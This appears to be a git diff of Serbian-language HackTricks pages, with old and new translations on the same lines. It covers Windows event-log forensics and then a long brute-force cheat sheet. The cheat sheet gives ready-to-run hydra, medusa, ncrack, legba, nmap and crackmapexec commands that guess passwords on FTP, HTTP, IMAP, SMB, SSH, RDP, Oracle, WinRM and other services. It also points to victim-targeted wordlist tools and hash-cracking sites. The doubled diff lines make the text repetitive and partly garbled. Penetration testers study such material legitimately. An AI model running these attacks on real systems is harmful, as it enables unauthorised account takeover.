* **Udaljeno interaktivno (10)**: Udaljena prijava preko radne površi ili terminalnih servisa. * **Daljinsko interaktivno (10)**: Prijava putem daljinske radne površine ili terminalskih usluga.
* **Keš interaktivno (11)**: Prijava sa keširanim akreditacijama bez kontakta sa kontrolorom domena. * **Keširano interaktivno (11)**: Prijava sa keširanim kredencijalima bez kontakta sa kontrolerom domena.
* **Keš udaljeno interaktivno (12)**: Udaljena prijava sa keširanim akreditacijama. * **Keširano daljinsko interaktivno (12)**: Daljinska prijava sa keširanim kredencijalima.
* **Keš otključavanje (13)**: Otključavanje sa keširanim akreditacijama. * **Keširano otključavanje (13)**: Otključavanje sa keširanim kredencijalima.
#### Status i pod status kodovi za EventID 4625: #### Status i podstatus kodovi za EventID 4625:
* **0xC0000064**: Korisničko ime ne postoji - Može ukazivati na napad enumeracije korisničkih imena. * **0xC0000064**: Korisničko ime ne postoji - Može ukazivati na napad na enumeraciju korisničkog imena.
* **0xC000006A**: Ispravno korisničko ime ali pogrešna lozinka - Mogući pokušaj pogađanja ili napad grubom silom na lozinku. * **0xC000006A**: Tačno korisničko ime, ali pogrešna lozinka - Mogući pokušaj pogađanja lozinke ili brute-force napad.
* **0xC0000234**: Korisnički nalog zaključan - Može pratiti napad grubom silom koji rezultira višestrukim neuspelim prijavama. * **0xC0000234**: Korisnički nalog je zaključan - Može uslediti nakon brute-force napada koji rezultira višestrukim neuspelim prijavama.
* **0xC0000072**: Nalog onemogućen - Neovlašćeni pokušaji pristupa onemogućenim nalozima. * **0xC0000072**: Nalog onemogućen - Neovlašćeni pokušaji pristupa onemogućenim nalozima.
* **0xC000006F**: Prijavljivanje van dozvoljenog vremena - Ukazuje na pokušaje pristupa van postavljenih vremena prijave, mogući znak neovlašćenog pristupa. * **0xC000006F**: Prijava van dozvoljenog vremena - Ukazuje na pokušaje pristupa van postavljenih sati prijave, mogući znak neovlašćenog pristupa.
* **0xC0000070**: Kršenje ograničenja radne stanice - Može biti pokušaj prijave sa neovlašćene lokacije. * **0xC0000070**: Kršenje ograničenja radne stanice - Može biti pokušaj prijave sa neovlašćenog mesta.
* **0xC0000193**: Istek naloga - Pokušaji pristupa sa isteklim korisničkim nalozima. * **0xC0000193**: Istek naloga - Pokušaji pristupa sa isteklim korisničkim nalozima.
* **0xC0000071**: Istečena lozinka - Pokušaji prijave sa zastarelim lozinkama. * **0xC0000071**: Istekla lozinka - Pokušaji prijave sa zastarelim lozinkama.
* **0xC0000133**: Problemi sa sinhronizacijom vremena - Velike razlike u vremenu između klijenta i servera mogu ukazivati na sofisticiranije napade poput "pass-the-ticket". * **0xC0000133**: Problemi sa sinhronizacijom vremena - Velike vremenske razlike između klijenta i servera mogu ukazivati na sofisticiranije napade poput pass-the-ticket.
* **0xC0000224**: Obavezna promena lozinke - Česte obavezne promene mogu ukazivati na pokušaj destabilizacije sigurnosti naloga. * **0xC0000224**: Obavezna promena lozinke potrebna - Česte obavezne promene mogu sugerisati pokušaj destabilizacije sigurnosti naloga.
* **0xC0000225**: Ukazuje na problem u sistemu umesto sigurnosnog problema. * **0xC0000225**: Ukazuje na grešku u sistemu, a ne na sigurnosni problem.
* **0xC000015b**: Odbijen tip prijave - Pokušaj pristupa sa neovlašćenim tipom prijave, kao što je korisnik koji pokušava da izvrši prijavu servisa. * **0xC000015b**: Odbijeni tip prijave - Pokušaj pristupa sa neovlašćenim tipom prijave, kao što je korisnik koji pokušava da izvrši prijavu servisa.
#### EventID 4616: #### EventID 4616:
* **Promena vremena**: Modifikacija sistemskog vremena, može zamagliti vremensku liniju događaja. * **Promena vremena**: Izmena sistemskog vremena, može zamagliti hronologiju događaja.
#### EventID 6005 i 6006: #### EventID 6005 i 6006:
* **Pokretanje i gašenje sistema**: EventID 6005 označava pokretanje sistema, dok EventID 6006 označava gašenje sistema. * **Pokretanje i gašenje sistema**: EventID 6005 označava pokretanje sistema, dok EventID 6006 označava gašenje.
#### EventID 1102: #### EventID 1102:
* **Brisanje logova**: Sigurnosni logovi se brišu, što često ukazuje na prikrivanje nezakonitih aktivnosti. * **Brisanje logova**: Brisanje sigurnosnih logova, što je često crvena zastava za prikrivanje nezakonitih aktivnosti.
#### EventID-ovi za praćenje USB uređaja: #### EventIDs za praćenje USB uređaja:
* **20001 / 20003 / 10000**: Prvo povezivanje USB uređaja. * **20001 / 20003 / 10000**: Prva konekcija USB uređaja.
* **10100**: Ažuriranje drajvera USB uređaja. * **10100**: Ažuriranje USB drajvera.
* **EventID 112**: Vreme umetanja USB uređaja. * **EventID 112**: Vreme umetanja USB uređaja.
Za praktične primere simuliranja ovih tipova prijava i prilika za krađu akreditacija, pogledajte [detaljni vodič Altered Security-a](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them). Za praktične primere simulacije ovih tipova prijava i mogućnosti iskopavanja kredencijala, pogledajte [detaljni vodič Altered Security](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them).
Detalji događaja, uključujući statusne i pod-statusne kodove, pružaju dodatne uvide u uzroke događaja, posebno značajne u Event ID 4625. Detalji događaja, uključujući status i podstatus kodove, pružaju dodatne uvide u uzroke događaja, posebno u Event ID 4625.
### Obnavljanje Windows događaja ### Oporavak Windows događaja
Da biste povećali šanse za obnavljanje obrisanih Windows događaja, preporučljivo je isključiti sumnjivi računar direktnim isključivanjem. **Bulk\_extractor**, alat za obnavljanje koji specifično navodi ekstenziju `.evtx`, preporučuje se za pokušaj obnavljanja takvih događaja. Da biste povećali šanse za oporavak obrisanih Windows događaja, preporučuje se da isključite sumnjivi računar direktnim isključivanjem. **Bulk\_extractor**, alat za oporavak koji specificira ekstenziju `.evtx`, se preporučuje za pokušaj oporavka takvih događaja.
### Identifikacija uobičajenih napada putem Windows događaja ### Identifikacija uobičajenih napada putem Windows događaja
Za sveobuhvatan vodič o korišćenju Windows Event ID-jeva u identifikaciji uobičajenih sajber napada, posetite [Red Team Recipe](https://redteamrecipe.com/event-codes/). Za sveobuhvatan vodič o korišćenju Windows Event ID-ova u identifikaciji uobičajenih sajber napada, posetite [Red Team Recipe](https://redteamrecipe.com/event-codes/).
#### Napadi grubom silom #### Brute Force napadi
Identifikovani sa više zapisa EventID 4625, praćeni EventID 4624 ako napad uspe. Identifikovani višestrukim zapisima EventID 4625, praćenim EventID 4624 ako napad uspe.
#### Promena vremena #### Promena vremena
Zabeleženo sa EventID 4616, promene u sistemu vremena mogu otežati forenzičku analizu. Zabeležena EventID 4616, promene u sistemskom vremenu mogu otežati forenzičku analizu.
#### Praćenje USB uređaja #### Praćenje USB uređaja
Korisni System EventID-ovi za praćenje USB uređaja uključuju 20001/20003/10000 za početno korišćenje, 10100 za ažuriranje drajvera i EventID 112 od DeviceSetupManager za vremenske oznake umetanja. Korisni sistemski EventIDs za praćenje USB uređaja uključuju 20001/20003/10000 za početnu upotrebu, 10100 za ažuriranja drajvera, i EventID 112 iz DeviceSetupManager-a za vremenske oznake umetanja.
#### Događaji napajanja sistema #### Događaji napajanja sistema
EventID 6005 označava pokretanje sistema, dok EventID 6006 označava gašenje. EventID 6005 označava pokretanje sistema, dok EventID 6006 označava gašenje.
#### Brisanje logova #### Brisanje logova
Bezbednosni EventID 1102 signalizira brisanje logova, ključan događaj za forenzičku analizu. Sigurnosni EventID 1102 signalizira brisanje logova, kritičan događaj za forenzičku analizu.
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podrška HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,30 +1,31 @@
# Brute Force - Šifarnik # Brute Force - CheatSheet
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim **alatima** zajednice.\
Dobijte pristup danas: Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
## Podrazumevane Akreditacije ## Podrazumevani Akreditivi
**Pretražite na Google-u** podrazumevane akreditacije tehnologije koja se koristi, ili **probajte ove linkove**: **Pretražujte google** za podrazumevane akreditive tehnologije koja se koristi, ili **probajte ove linkove**:
* [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet) * [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet)
* [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html) * [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html)
@ -37,11 +38,11 @@ Drugi načini podrške HackTricks-u:
* [**https://www.cirt.net/passwords**](https://www.cirt.net/passwords) * [**https://www.cirt.net/passwords**](https://www.cirt.net/passwords)
* [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com) * [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com)
* [**https://many-passwords.github.io/**](https://many-passwords.github.io) * [**https://many-passwords.github.io/**](https://many-passwords.github.io)
* [**https://theinfocentric.com/**](https://theinfocentric.com/) * [**https://theinfocentric.com/**](https://theinfocentric.com/)
## **Napravite svoje Rečnike** ## **Kreirajte svoje rečnike**
Pronađite što više informacija o cilju koliko možete i generišite prilagođeni rečnik. Alati koji mogu pomoći: Pronađite što više informacija o cilju i generišite prilagođeni rečnik. Alati koji mogu pomoći:
### Crunch ### Crunch
```bash ```bash
@ -60,13 +61,13 @@ cewl example.com -m 5 -w words.txt
``` ```
### [CUPP](https://github.com/Mebus/cupp) ### [CUPP](https://github.com/Mebus/cupp)
Generišite šifre na osnovu vašeg znanja o žrtvi (imena, datumi...) Generišite lozinke na osnovu vašeg znanja o žrtvi (imena, datumi...)
``` ```
python3 cupp.py -h python3 cupp.py -h
``` ```
### [Wister](https://github.com/cycurity/wister) ### [Wister](https://github.com/cycurity/wister)
Alatka za generisanje liste reči, koja vam omogućava da obezbedite skup reči, pružajući vam mogućnost da kreirate višestruke varijacije iz datih reči, stvarajući jedinstvenu i idealnu listu reči za korišćenje u vezi sa određenim ciljem. Alat za generisanje rečnika, koji vam omogućava da navedete skup reči, dajući vam mogućnost da kreirate više varijacija od datih reči, stvarajući jedinstven i idealan rečnik za korišćenje u vezi sa specifičnim ciljem.
```bash ```bash
python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst
@ -103,14 +104,14 @@ Finished in 0.920s.
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\ Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) za lako kreiranje i **automatizaciju radnih tokova** pokretanih **najnaprednijim** alatima zajednice.\
Dobijte pristup danas: Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
## Usluge ## Services
Poređane abecednim redom po imenu usluge. Poređano abecedno po imenu usluge.
### AFP ### AFP
```bash ```bash
@ -141,7 +142,7 @@ legba scylla --username cassandra --password wordlists/passwords.txt --target lo
msf> use auxiliary/scanner/couchdb/couchdb_login msf> use auxiliary/scanner/couchdb/couchdb_login
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get / hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
``` ```
### Docker Registar ### Docker Registry
``` ```
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
``` ```
@ -156,11 +157,11 @@ ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
legba ftp --username admin --password wordlists/passwords.txt --target localhost:21 legba ftp --username admin --password wordlists/passwords.txt --target localhost:21
``` ```
### HTTP Generičko Brute Forcanje ### HTTP Generic Brute
#### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md) #### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md)
### HTTP Osnovna Autentifikacija ### HTTP Basic Auth
```bash ```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
# Use https-get mode for https # Use https-get mode for https
@ -172,12 +173,12 @@ legba http.basic --username admin --password wordlists/passwords.txt --target ht
legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
``` ```
### HTTP - Slanje forme putem POST metode ### HTTP - Post Form
```bash ```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for https # Use https-post-form mode for https
``` ```
Za http**s** morate promeniti sa "http-post-form" na "**https-post-form"** Za http**s** morate promeniti "http-post-form" u "**https-post-form"**
### **HTTP - CMS --** (W)ordpress, (J)oomla ili (D)rupal ili (M)oodle ### **HTTP - CMS --** (W)ordpress, (J)oomla ili (D)rupal ili (M)oodle
```bash ```bash
@ -185,8 +186,6 @@ cmsmap -f W/J/D/M -u a -p a https://wordpress.com
# Check also https://github.com/evilsocket/legba/wiki/HTTP # Check also https://github.com/evilsocket/legba/wiki/HTTP
``` ```
### IMAP ### IMAP
IMAP (Internet Message Access Protocol) is a standard email protocol that stores email messages on a mail server. When a hacker is attempting to gain unauthorized access to an email account, they may use a brute force attack to guess the account password. This involves trying many different password combinations until the correct one is found.
```bash ```bash
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
@ -194,8 +193,6 @@ nmap -sV --script imap-brute -p <PORT> <IP>
legba imap --username user --password data/passwords.txt --target localhost:993 legba imap --username user --password data/passwords.txt --target localhost:993
``` ```
### IRC ### IRC
IRC (Internet Relay Chat) je protokol za real-time razgovor putem interneta. Brute force napadi na IRC servere mogu biti izvedeni korišćenjem alata kao što su Hydra, Ncrack ili Medusa. Ovi alati omogućavaju napadačima da automatski isprobaju veliki broj kombinacija korisničkih imena i lozinki kako bi dobili neovlašćen pristup IRC serveru.
```bash ```bash
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP> nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
``` ```
@ -284,17 +281,15 @@ nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>
legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt
``` ```
Da biste koristili **oracle\_login** sa **patatorom**, potrebno je **instalirati**: Da biste koristili **oracle\_login** sa **patator** potrebno je da **instalirate**:
```bash ```bash
pip3 install cx_Oracle --upgrade pip3 install cx_Oracle --upgrade
``` ```
[Bruteforce napad na hash OracleSQL-a van mreže](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**verzije 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** i **11.2.0.3**): [Offline OracleSQL hash bruteforce](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**verzije 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** i **11.2.0.3**):
```bash ```bash
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
``` ```
### POP ### POP
POP (Post Office Protocol) je jedan od najstarijih protokola za pristup e-pošti. POP koristi brute force tehniku za probijanje lozinki.
```bash ```bash
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
@ -371,8 +366,6 @@ onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp
``` ```
### SMB ### SMB
SMB (Server Message Block) je protokol za deljenje datoteka koji se često koristi u Windows okruženjima.
```bash ```bash
nmap --script smb-brute -p 445 <IP> nmap --script smb-brute -p 445 <IP>
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1 hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
@ -384,8 +377,6 @@ hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism <mech>] legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism <mech>]
``` ```
### SOCKS
### SOCKS ### SOCKS
```bash ```bash
nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP> nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
@ -412,13 +403,13 @@ legba ssh --username admin --password wordlists/passwords.txt --target localhost
# Try keys from a folder # Try keys from a folder
legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22 legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
``` ```
#### Slabe SSH ključeve / Predvidljivi PRNG u Debianu #### Slabi SSH ključevi / Debian predvidljiv PRNG
Neke sisteme imaju poznate nedostatke u slučajnom semenu koje se koristi za generisanje kriptografskog materijala. To može rezultirati dramatično smanjenim prostorom ključeva koji se mogu probiti alatima poput [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Prethodno generisani setovi slabih ključeva takođe su dostupni poput [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). Neki sistemi imaju poznate greške u nasumičnom semenu koje se koristi za generisanje kriptografskog materijala. To može rezultirati dramatično smanjenim prostorom ključeva koji se može bruteforovati alatima kao što su [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Takođe su dostupni unapred generisani setovi slabih ključeva kao što su [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
### STOMP (ActiveMQ, RabbitMQ, HornetQ i OpenMQ) ### STOMP (ActiveMQ, RabbitMQ, HornetQ i OpenMQ)
STOMP tekstualni protokol je široko korišćeni protokol za razmenu poruka koji **omogućava besprekornu komunikaciju i interakciju sa popularnim servisima za redove poruka** poput RabbitMQ, ActiveMQ, HornetQ i OpenMQ. Pruža standardizovan i efikasan pristup za razmenu poruka i obavljanje različitih operacija sa porukama. STOMP tekstualni protokol je široko korišćen protokol za razmenu poruka koji **omogućava besprekornu komunikaciju i interakciju sa popularnim uslugama za redove poruka** kao što su RabbitMQ, ActiveMQ, HornetQ i OpenMQ. Pruža standardizovan i efikasan pristup razmeni poruka i izvođenju raznih operacija sa porukama.
```bash ```bash
legba stomp --target localhost:61613 --username admin --password data/passwords.txt legba stomp --target localhost:61613 --username admin --password data/passwords.txt
``` ```
@ -459,28 +450,28 @@ crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim **alatima** zajednice na svetu.\
Pristupite danas: Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
## Lokalno ## Lokalno
### Online baze za probijanje ### Online baze podataka za razbijanje
* [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1) * [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1)
* [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 sa/bez ESS/SSP i sa bilo kojom vrednošću izazova) * [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 sa/bez ESS/SSP i sa bilo kojom vrednošću izazova)
* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Heševi, WPA2 snimci i arhive MSOffice, ZIP, PDF...) * [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashovi, WPA2 snimci i arhive MSOffice, ZIP, PDF...)
* [https://crackstation.net/](https://crackstation.net) (Heševi) * [https://crackstation.net/](https://crackstation.net) (Hashovi)
* [https://md5decrypt.net/](https://md5decrypt.net) (MD5) * [https://md5decrypt.net/](https://md5decrypt.net) (MD5)
* [https://gpuhash.me/](https://gpuhash.me) (Heševi i heševi fajlova) * [https://gpuhash.me/](https://gpuhash.me) (Hashovi i hashovi datoteka)
* [https://hashes.org/search.php](https://hashes.org/search.php) (Heševi) * [https://hashes.org/search.php](https://hashes.org/search.php) (Hashovi)
* [https://www.cmd5.org/](https://www.cmd5.org) (Heševi) * [https://www.cmd5.org/](https://www.cmd5.org) (Hashovi)
* [https://hashkiller.co.uk/Cracker](https://hashkiller.co.uk/Cracker) (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512) * [https://hashkiller.co.uk/Cracker](https://hashkiller.co.uk/Cracker) (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512)
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5) * [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5)
* [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com) * [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com)
Pogledajte ovo pre nego što pokušate da probijete heš. Proverite ovo pre nego što pokušate da brute force-ujete hash.
### ZIP ### ZIP
```bash ```bash
